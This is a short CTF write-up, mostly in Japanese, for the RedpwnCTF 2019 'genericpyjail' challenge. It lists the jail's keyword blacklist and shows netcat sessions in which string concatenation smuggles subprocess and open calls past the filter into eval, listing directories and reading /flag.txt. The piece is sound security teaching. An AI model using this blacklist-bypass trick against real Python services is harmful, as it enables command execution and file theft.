RedpwnCTF 2019 - Writeup ( misc : genericpyjail )
Written by: dns When has a blacklist of insecure keywords EVER failed? nc chall2.2019.redpwn.net 6006
pyjailの問題。 blacklistが指定されており、以下の文字は使用できない。
import ast eval = pickle os subprocess i love blacklisting words! input sys windows users print execfile hungrybox builtins open most of these are in here just to confuse you _ dict [ > < : ; ] exec hah almost forgot that one for @ dir yah have fun file
blacklistのコマンドを入力するとエラーになり、定義されていないコマンドを入力すると強制終了する。
root@kali:~# nc chall2.2019.redpwn.net 6006 wow! there's a file called flag.txt right here! >>> print That's not allowed here >>> ls Traceback (most recent call last): File "jail1.py", line 49, in <module> data = eval(data) File "<string>", line 1, in <module> NameError: name 'ls' is not defined
色々確認したところ以下のことがわかる。
- ()は許可されている。
- +を使って文字を結合した上でコマンドにすることで、blacklistを回避できる。
root@kali:~# nc chall2.2019.redpwn.net 6006 wow! there's a file called flag.txt right here! >>> 'impor'+'t '+'subproce'+'ss' >>> "subproces"+"s.cal"+"l('l"+"s')" bin boot dev etc flag.txt home jail1.py lib lib64 media mnt opt proc root run sbin srv sys tmp usr var >>>
root配下のflagを確認する。
root@kali:~# nc chall2.2019.redpwn.net 6006 wow! there's a file called flag.txt right here! >>> 'prin'+'t(op'+'en("/flag.txt").rea'+'d())' flag{bl4ckl1sts_w0rk_gre3344T!}
flag:flag{bl4ckl1sts_w0rk_gre3344T!}
■参考URL
noxCTF 2018 - Python for fun, Python for fun 2 - こんとろーるしーこんとろーるぶい